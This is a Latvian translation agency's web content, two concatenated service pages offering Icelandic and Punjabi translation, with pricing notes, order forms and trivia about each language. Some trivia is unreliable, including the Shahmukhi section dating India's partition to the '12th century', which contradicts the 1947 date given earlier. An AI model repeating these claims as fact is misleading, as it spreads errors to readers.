ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus islandiešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI ISLANDIEŠU VALODĀ / TULKOT ISLANDIEŠU VALODĀ CIK MAKSĀ TULKOJUMI ISLANDIEŠU VALODĀ? Tulkojumu cena no un uz islandiešu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz islandiešu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Skrivanek tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ISLANDIEŠU VALODĀ: dažādu dokumentu tulkošana islandiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana islandiešu valodā; islandiešu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi islandiešu valodā; individuālie islandiešu valodas kursi. Meklējiet valodu risinājumus islandiešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR ISLANDIEŠU VALODU UN ISLANDI Islandiešu valoda ir ģermāņu valoda, kura ir vienīgā faktiskā valsts valoda Islandē. Islandiešu valoda ir cēlusies no senās norvēģu valodas, kurā runāja vikingi, kuri ieradās Islandē un apmetās tur uz dzīvi. Pēdējo tūkstoš gadu laikā valoda nav piedzīvojusi lielas izmaiņas, tādēļ paši islandieši un valodas pratēji ar lepnumu var teikt, ka tiem nesagādā lielas grūtības lasīt 10. −13. gadsimta tekstus un seno norvēģu sāgas. Islandiešu valoda ir indoeiropiešu valoda, kas pieder pie ģermāņu valodu ziemeļģermāņu atzara. Šis ir ļoti interesants fakts, ja ņemam vērā citu indoeiropiešu valodu ģeogrāfisko izvietojumu, piemēram, Grieķiju un Albāniju, kuras no Islandes atdala daudzas valstis un vairāki tūkstoši kilometru. Islandiešu valoda ir tuvākā dzīvā fēriešu valodas radiniece un kopā ar to un norvēģu valodu veido rietumskandināvu valodu grupu, kas ir senskandināvu valodas rietumu dialektu pēcteces. Interesanti ir tas, ka, lai gan dāņi valdīja Islandē no 1380. gada līdz 1918. gadam, viņu kontrolei pār valsti bija maza ietekme uz islandiešu valodas attīstību un tā tika lietota ikdienā visu iedzīvotāju vidū. Dāņu valoda netika izmantota oficiālai saziņai. Tas pats attiecās uz ASV okupāciju Islandē Otrā pasaules kara laikā, kas tika pakāpeniski atcelta 50. gados. Islandes kultūra ir islandiešu kultūra, kas, atgriežoties pie vikingu tradīcijām, attīstījusies pagānu reliģijas un vēlāk kristietības ietekmē, bet pagātnē nepiedzīvojot lielas pārmaiņas un saglabājot savu oriģinalitāti. Iemesls tam ir ne tikai un ne tik daudz islandiešu izolētība no citām Eiropas tautām, bet gan islandiešu galvenās nacionālās iezīmes – etnocentrisms un konservatīvisms. Taču arī ģeogrāfiskie faktori, piemēram, skarbais subarktiskais klimats, garās polārās dienas un naktis, floras un faunas trūkums un nošķirtība no kontinentālās Eiropas, kā arī tādas dabas parādības kā biežas zemestrīces, vulkānu izvirdumi, plūdi un sniega vētras pasargāja Islandi no kontinentālo valstu ietekmes. Islandiešiem ir tradīcija nevalkāt lietusmēteļus un nenēsāt līdzi lietussargus, jo lietus apģērbs netiek uzskatīts par modernu un islandieši ir ļoti modīgi. Pirmo pastāvīgo apmetni Islandē izveidoja vikingi no Norvēģijas un ķelti no Britu salām 870. gadā. Islandieši 12. −13. gadsimtā ir sarakstījuši vairākus lieliskus literārus darbus – sāgas. Daudzas no šīm sāgām ir sarakstījuši nezināmi autori valodā, kas ir ļoti līdzīga sennorvēģu valodai. Slavenākie šī perioda autori bija Ari Torgilsons (1068−1148) un Snorri Sturlusons (1179−1241). 1944. gadā Islande ieguva neatkarību, un islandiešu valoda tika atjaunota kā oficiālā un literārā valoda. Izdevējdarbība Islandē ir piedzīvojusi milzīgu uzplaukumu, un islandieši tiek uzskatīti par vieniem no visaktīvākajiem lasītājiem un rakstniekiem pasaulē. Islande ir lieliska valsts ar bagātu vēsturi un skaistu dabu. Islandiešu valodas likteni nevar saukt par parastu. Neskatoties uz to, ka dāņi mēģināja ieviest savu valodu Islandē, islandiešu valoda ne tikai izturēja dāņu valodas uzbrukumu, bet arī palika galvenā runātā un literārā valoda. Lauku iedzīvotāji vienkārši negribēja pieņemt dāņu valodu, tikai neliela daļa izglītoto cilvēku varēja lepoties ar dāņu valodas zināšanām. ISLANDIEŠU VALODAS ALFABĒTS Islandiešu alfabēts sastāv no 32 burtiem. Ir arī trīs burti, kas tiek izmantoti tikai svešvārdu rakstībā, un viens dzēsts burts, kuru gan dažreiz joprojām lieto svešvārdiem. Islandiešu valodā tiek izmantots latīņu alfabēts, kas ir tāds pats kā angļu alfabēts un lielākā daļa Rietumeiropas valodu lieto tieši šo alfabētu. Ir daži burti, kas nav atrodami angļu valodā, un pat daži burti, kurus izmanto tikai islandiešu valodā. Burti C , Q un W nav daļa no islandiešu alfabēta, bet tiek lietoti svešvārdos. No 1973. gada pēdējais alfabēta burts Z vairs neparādās islandiešu vārdos, un tāpēc to vairs neizmanto arī islandiešu valodā. Tomēr to joprojām tehniski izmanto tikai ļoti retos gadījumos, kas saglabāti vēsturiskos struktūru, organizāciju un tamlīdzīgos nosaukumos, piemēram, Verzló (skola Reikjavīkā). Un vārdi, kas kādreiz saturēja burtu Z, mūsdienās satur burtu S. Līdz 1980. gadam islandiešu alfabēts sastāvēja no 36 burtiem: A, Á, B, C, D, Ð, E, É, F, G, H, I, Í, J, K, L, M, N, O, Ó, P, Q, R, S, T, U, Ú, V, W, X, Y, Ý, Z, Þ, Æ, Ö. CIK SAREŽĢĪTA IR ISLANDIEŠU VALODA? Nav šaubu, ka islandiešu valodu ir grūti iemācīties, jo īpaši, ja mēs to bieži nedzirdam runājam. Pastāv diezgan lielas bažas, ka tā varētu būt izmirstoša valoda. Tomēr Islande pagātnē ir piedzīvojusi valodas izzušanas draudus, kad baku epidēmija un bads valsti ļoti smagi skāra 18. gadsimtā, taču islandieši spēja “turēties pie savas valodas, kultūras un lasītprasmes”. Īstenībā arhaiskā vārdu krājuma un sarežģītās gramatikas dēļ, islandiešu valoda tiek uzskatīta par vienu no visgrūtāk apgūstamajām valodām angliski runājošajiem. Divas lielākās grūtības, ar kurām jāsaskaras, mācoties islandiešu valodu, ir, pirmkārt, vārdu izrunāšana, otrkārt – gramatiskās iezīmes. Islandiešu valoda ir IV kategorijas valoda grūtības pakāpes ziņā. Tātad, tā ir grūtāka nekā franču, bet daudz vieglāka, nekā ķīniešu valoda. Lai brīvi sarunātos islandiešu valodā, ir nepieciešamas 1100 stundu jeb 44 mācību nedēļas. Šķiet, ka tas ir ilgs laiks, kas jāvelta valodai, bet, izmantojot pareizās metodes un mācību resursus, valodas apguve būs interesants un aizraujoša. KUR UN CIK DAUDZ RUNĀ ISLANDIEŠU VALODĀ? Lielākā daļa islandiešu valodā runājošo, kas ir aptuveni 320 000, dzīvo Islandē, vairāk nekā 8000 dzīvo Dānijā, no kuriem aptuveni 3000 ir studenti. Aptuveni 5000 cilvēku ASV un vairāk nekā 1400 Kanādā, īpaši Manitobas provincē, islandiešu valodu sauc par savu dzimto valodu. 97% Islandes iedzīvotāju islandiešu valodu uzskata par savu dzimto valodu, bet ārpus Islandes, īpaši Kanādā, runātāju skaits pakāpeniski samazinās. ISLANDIEŠU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic islandiešu valodas tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek nodrošina arī tekstu islandiešu valodā korektūru un stilistisko uzlabošanu, SEO satura veidošanu, pielāgojot to Islandes tirgum un islandiešu mentalitātei. Mūsu valodas speciālisti būs priecīgi pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz islandiešu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu adaptāciju, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, konferencēs un citos pasākumos, Zoom vidē un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pasu, medicīnisko dokumentu u. c. tulkojumus. ISLANDIEŠU VALODA BIZNESĀ Ārpus Islandes robežām islandiešu valoda kā biznesa valoda netiek lietota. Islandes skolās paralēli dzimtajai valodai plaši tiek apgūta angļu un dāņu valoda, tādēļ biznesa vidē Islandē tiek lietotas arī šīs abas valodas. Uzņēmumos, kuros strādā cilvēki, kas nav islandieši, runā angļu valodā, tāpēc pirms došanās uz sarunām nav nepieciešams apgūt islandiešu valodu. Islandei ir sava valoda, taču plaši tiek lietota angļu vai dāņu valoda, jo abas Islandes skolu sistēmā ir obligātās valodas. Islandiešu valodas versiju dāņu valodā bieži sauc arī par Skandinavíska, un to plaši saprot arī norvēģi un zviedri. Islandieši sākumā šķiet diezgan atturīgi, kas ziemeļniekiem nav nekas neparasts. Tomēr viņi ir ļoti draudzīgi, un visticamāk, ja dodaties uz valsti biznesa nolūkos, jūs tiksiet uzaicināts uz privātmājas ballīti un/vai iepazīsiet valsti kopā ar vietējiem citos veidos. Islandieši bieži arī jautā, ko ārzemnieki domā par Islandi, tādēļ būtu vēlams izrādīt interesi par Islandi, tās tautu, kultūru un tradīcijām. ISLANDE UN LATVIJA Latvijas un Islandes divpusējās attiecības tradicionāli ir ļoti labas. Abu valstu sadarbība balstās uz reģionālo piederību, kopīgu vērtību izpratni un interesēm Eiropas ekonomiskās integrācijas un drošības jautājumos. Islande bija pirmā valsts, kas 1991. gada 22. augustā atzina Latvijas un pārējo Baltijas valstu neatkarības atjaunošanu. Islande kļuva par pirmo valsti, kas uzdrošinājās gan padomju impērijai, gan pārējai pasaulei skaļi apliecināt, ka Latvija pēc 50 gadus ilgušās PSRS okupācijas ir atguvusi brīvību un tai ir jāatgriežas uz pasaules kartes kā neatkarīgai valstij. Līdzīgu atzīšanu no Islandes saņēma arī Lietuva un Igaunija. Par to Islandei vienmēr būs ļoti īpaša vieta baltiešu sirdīs. Ar Latvijas likteni ir saistīts arī kāds necils nams Islandē. Tajā Aukstā kara galvenie pretpoli – ASV un PSRS – Islandē rīkoja savu līderu tikšanos. Ronalds Reigans un Mihails Gorbačovs šeit sprieda par kodolieročiem un īsti ne par ko vienoties nespēja. Reigana ieceri runāt par cilvēktiesībām Gorbačovs nepieņēma. Drīz pēc tam sekoja padomju impērijas sabrukums. Dažus gadus vēlāk tieši šajā pašā namā tika parakstīts Islandes pieņemtais Baltijas valstu atjaunotās neatkarības atzīšanas akts. Islandes, Latvijas, Lietuvas un Igaunijas ārlietu ministri parakstīja arī protokolus par diplomātisko attiecību nodibināšanu. Tolaik Islandes prezidente bija Vigdisa Finnbogadottira – un arī tas bija neparasti, jo viņa bija pasaulē pirmā sieviete, ko demokrātiski ievēlēja prezidenta amatā. Un jau daudz vēlāk pēc Latvijas atzīšanas, pirmo reizi atbraucot viesos, priecājās par to, ka bijusi klāt vēsturiskajā lēmumā. 2011. gada 22. augustā, godinot Islandes vēsturisko lomu Latvijas neatkarības atjaunošanā, Rīgā, Ķīpsalā, tika atklāts Islandes skvērs. Latvijas un Islandes starpā pastāv stabilas ekonomiskās attiecības. Lai gan savstarpējā tirdzniecība nav liela, pēdējos gados kopējais preču tirdzniecības apjoms pakāpeniski pieaug. Nozīmīgas ir Islandes investīcijas Latvijas uzņēmumos. ISLANDIEŠU VALODAS DIENA Islandiešu valodas diena ir festivāls, ko katru gadu 16. novembrī atzīmē Islandē, lai svinētu islandiešu valodu. Šis datums tika izvēlēts tā, lai tas sakristu ar islandiešu dzejnieka Jona Halgrimsona dzimšanas dienu. 1995. gada rudenī Islandes izglītības, zinātnes un kultūras ministrs Bjerns Bjarnasons ierosināja vienu dienu gadā svinēt islandiešu valodu, kas gadsimtu gaitā ir labi saglabājusies sākotnējā formā, atšķirībā no vairuma citu valodu. Jonas Halgrimsons bija islandiešu dzejnieks, autors un dabaszinātnieks. Viņš bija viens no Islandes žurnāla Fjölnir dibinātājiem, kas pirmo reizi tika izdots Kopenhāgenā 1835. gadā. Žurnālu izmantoja Jonas un viņa kolēģi, lai veicinātu islandiešu nacionālismu. Jonas joprojām ir viens no Islandes iemīļotākajiem dzejniekiem. Katru gadu 16. novembrī Jona Halgrimsona balva tiek piešķirta personai par izcilu ieguldījumu islandiešu valodas attīstībā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ISLANDIEŠU VALODĀ: dažādu dokumentu tulkošana islandiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana islandiešu valodā; islandiešu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi islandiešu valodā; individuālie islandiešu valodas kursi. ISLANDIEŠU VALODAS KOMBINĀCIJAS: islandiešu–latviešu; latviešu–islandiešu; islandiešu–lietuviešu; lietuviešu–islandiešu; igauņu–islandiešu; islandiešu–igauņu; angļu–islandiešu; islandiešu–angļu; krievu–islandiešu; islandiešu–krievu; poļu–islandiešu; islandiešu–poļu; ukraiņu–islandiešu; islandiešu–ukraiņu; čehu–islandiešu; islandiešu–čehu; vācu–islandiešu; islandiešu–vācu; spāņu–islandiešu; islandiešu–spāņu; franču–islandiešu; islandiešu–franču; itāļu–islandiešu; islandiešu–itāļu; dāņu–islandiešu; islandiešu–dāņu; zviedru–islandiešu; islandiešu–zviedru; norvēģu–islandiešu; islandiešu–norvēģu; somu–islandiešu; islandiešu–somu; islandiešu–arābu; arābu–islandiešu; islandiešu–armēņu, armēņu–islandiešu; islandiešu–baltkrievu, baltkrievu–islandiešu; bulgāru–islandiešu, islandiešu–bulgāru; islandiešu–ebreju, ebreju–islandiešu, islandiešu–grieķu, grieķu–islandiešu; islandiešu–gruzīnu; gruzīnu–islandiešu; islandiešu–hindi; hindi–islandiešu; islandiešu–holandiešu; holandiešu–islandiešu; islandiešu–korejiešu; korejiešu–islandiešu; islandiešu–kurdu; kurdu–islandiešu; islandiešu–ķīniešu; ķīniešu–islandiešu; islandiešu–portugāļu; portugāļu–islandiešu; islandiešu–rumāņu; rumāņu–islandiešu; islandiešu–slovāku; slovāku–islandiešu; islandiešu–slovēņu; slovēņu–islandiešu; islandiešu–turku; turku–islandiešu; islandiešu–ukraiņu; ukraiņu–islandiešu; islandiešu–ungāru; ungāru–islandiešu u. c. --- > Dažādu dokumentu tulkojumi un mutiskie klātienes vai tiešsaistes pasākumu tulkojumi pandžabu valodā. Pandžabu valoda faktos. - Published: 2022-10-10 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-pandzabu-valoda/ - Translation Priorities: Optional TULKOJUMI PANDŽABU VALODĀ / TULKOT PANDŽABU VALODĀ CIK MAKSĀ PANDŽABU VALODAS TULKOJUMI? Mūsu tulkošanas birojā tulkojuma cena no/uz pandžabu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi, kā notariāli apstiprināti tulkojumi u. c. Mutiskajiem projektiem no pandžabu valodas latviešu valodā svarīgi ņemt vērā latviešu pandžabu valodas pratēju pieejamību Latvijā. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu pakalpojumu cenrādis no/uz pandžabu valodu ir mūsu sadarbības līguma ar klientiem neatņemama daļa. Mūsu tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums šeit vai nosūtiet tulkojamo tekstu uz birojs@skrivanek. lv. Uz saziņu! RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM PANDŽABU VALODĀ: dažādu dokumentu tulkošana pandžabu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana pandžabu valodā; pandžabu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi pandžabu valodā; individuālie pandžabu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus pandžabu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI PANDŽABU VALODĀ / TULKOT PANDŽABU VALODĀ CIK MAKSĀ PANDŽABU VALODAS TULKOJUMI? Mūsu tulkošanas birojā tulkojuma cena no/uz pandžabu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi, kā notariāli apstiprināti tulkojumi u. c. Mutiskajiem projektiem no pandžabu valodas latviešu valodā svarīgi ņemt vērā latviešu pandžabu valodas pratēju pieejamību Latvijā. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu pakalpojumu cenrādis no/uz pandžabu valodu ir mūsu sadarbības līguma ar klientiem neatņemama daļa. Mūsu tulkošanas projektu vadītāji vienmēr sniedz detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums šeit vai nosūtiet tulkojamo tekstu uz birojs@skrivanek. lv. Uz saziņu! RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM PANDŽABU VALODĀ: dažādu dokumentu tulkošana pandžabu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana pandžabu valodā; pandžabu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi pandžabu valodā; individuālie pandžabu valodas kursi. Meklējiet valodu risinājumus pandžabu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt AIZRAUJOŠI FAKTI PAR PANDŽABU VALODU UN PENDŽĀBU Pandžabu valoda ir viena no indoāriešu valodām. Tajā galvenokārt runā cilvēki, kuri dzīvo vēsturiskajā Pendžābas reģionā, kas mūsdienās ir sadalīts starp Indiju un Pakistānu. Pandžabu valoda ir oficiālā valsts valoda Indijā, taču Pakistānā tā ir otra izplatītākā valoda. Indijā tā ir viena no Indijas valsts valodām, kā arī tā ir sikhisma oficiālā valoda. Tā kā pandžabu valoda ir Pendžābas oficiālā valoda, tās nosaukums ir cēlies no paša štata, kas nozīmē “Piecu upju zeme”. Pandžabu valoda ir ceturtā visvairāk runātā valoda Apvienotajā Karalistē un trešā visvairāk runātā dzimtā valoda Kanādā pēc angļu un franču valodas. Pirms Indijas sadalīšanas 1947. gadā Pendžāba bija liels štats Britu Indijā. Pēc sadalīšanas Pendžāba sadalījās divos reģionos ─Indijas Pendžābas štatā un Pakistānas Pendžābas provincē. Pasaulē ir ļoti maz valodu, kuras var rakstīt vairāk nekā vienā rakstībā, un viena no tām ir pandžabu valoda. Pandžabu valoda ir ļoti vokāla valoda, pat izrunājot vienādi rakstītu vārdu dažādās intonācijās un skaļumā, izruna var mainīt vārda nozīmi. PANDŽABU VALODAS ALFABĒTS Indijā pandžabu valodu pierakstam lieto Gurmuki alfabētu, savukārt Pakistānā pierakstam tiek lietots urdu valodas alfabēts, kas ir pazīstams kā Šamuki alfabēts. Pandžabu valoda ir viena no Indijas 22 oficiālajām valodām. Lai gan Pakistānā pandžabu valoda ir otrā visizplatītākā valoda, tai nav oficiālas valsts valodas statusa. KAS IR GURMUKI ALFABĒTS? Gurmuki alfabēts attīstījās no Landa alfabēta, un 16. gadsimtā to standartizēja otrais sikhu guru Guru Angads Dev Ji. Vārds Gurmukhi nozīmē “no guru mutes” un cēlies no vecā pandžabu vārda guramukhī. Tā rakstīšanas virziens ir no kreisās uz labo pusi horizontālās līnijās. Parasti šis alfabēts tiek saukts par sikhu rakstību, jo sikhisma pirmie svētie raksti ir rakstīti gurmukhi rakstībā. Mūsdienu gurmuki alfabētā ir 35 burti, seši papildus līdzskaņi, deviņas patskaņu diakritiskās zīmes, divi diakritiskie apzīmējumi nazālai skaņu izrunai. KAS IR ŠAMUKI ALFABĒTS? Tulkojumā – “no šaha mutes”, ir modificēts persiešu-arābu alfabēts, ko izmanto pandžabu valodas pierakstam Pakistānā, Kašmiras reģionā. Šamuki alfabētu pirmo reizi izmantoja Pendžābas sūfiju dzejnieki un tas kļuva par galveno rakstības veidu Pakistānas Pendžābas musulmaņiem pēc Indijas sadalīšanās 12. gadsimtā. Tas ir praktiski identisks urdu alfabētam, tāpēc visi urdu valodas pratēji var lasīt šamuki rakstību bez grūtībām. Rakstība ir no labās uz kreiso pusi. CIK SAREŽĢĪTA IR PANDŽABU VALODA? Pandžabu valoda ir viena no 22 Indijas valodām, ko atzīst Indijas konstitūcija. Protams, ar lielu centību un praksi ir iespējams apgūt jebkuru valodu, tomēr pandžabu valodu visvieglāk ir apgūt tiem, kuri jau prot hindi valodu. Šīm valodām ir daudz līdzību ─ gan gramatiski, gan rakstībā un izrunā. Kaut arī šobrīd pasaulē ir vairāk nekā 100 miljoni cilvēku, kuri runā pandžabu valodā, šī valoda lēnām sāk izmirt. Valodas apguvi visvairāk apgrūtina apguves materiālu nepieejamība, valodas izruna, kas citu valodu pratējiem var šķist rupja un skarba, nestandarta teikuma uzbūve, valodas augstās tonalitātes dēļ bieži ir grūti saprast divu vārdu nozīmi, kā arī valoda tiek pierakstīta, izmantojot divus alfabētus; Pakistānā – urdu, Indijā – gurmukhi rakstību. Realitāte ir tāda – lai iemācītos pilnībā šo valodu, būs nepieciešami gadi, gan praktizējot, lasot un klausoties. Lai iemācītos tikai saprast pandžabu valodu, būs nepieciešami vismaz 9–12 mēnešu intensīva darba. Izaicinājums pieņemt? Skrivanek Mācību centra laipnie kolēģi ar prieku parūpēsies par to, lai pandžabu valodas apgūšana Jums nesagādātu raizes ─ sazināmies! KUR UN CIK DAUDZ RUNĀ PANDŽABU VALODĀ Visā pasaulē ir aptuveni 110 miljoni pandžabu valodas lietotāju. Visvairāk pandžabu valodā runājošie dzīvo Pakistānā – aptuveni 77 miljoni, Indijā – aptuveni 29 miljoni, kā arī pandžabu valodā runājošas minoritātes ir Lielbritānijā – 2,3 miljoni, Kanādā – 1,1 miljons, Apvienotajos Arābu Emirātos – aptuveni 720 tūkstoši, ASV – ap 640 tūkstošiem un Saūda Arābijā – 620 tūkstoši. Nelielas pandžabu valodas runātāju diasporas dzīvo arī Malaizijā un Austrālijā. PANDŽABU VALODAS TULKS UN TULKOTĀJS Skrivanek pandžabu valodas tulki un tulkotāji strādā galvenokārt ar tipveida dokumentu rakstiskajiem tulkojumiem, arī notariāli apliecinātiem tulkojumiem, palīdzam saprasties Latvijas institūcijām patvēruma meklētājiem, kuri runā pandžabu valodā. Tāpat mēs nodrošinām tekstu pandžabu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Ņemot vērā pandžabu valodas bagāto vēsturi, Indijas vēsturi un tradīcijas, mūsu valodu speciālisti sniegs informāciju par kultūras atšķirībām, lietišķo etiķeti, vēsturi un 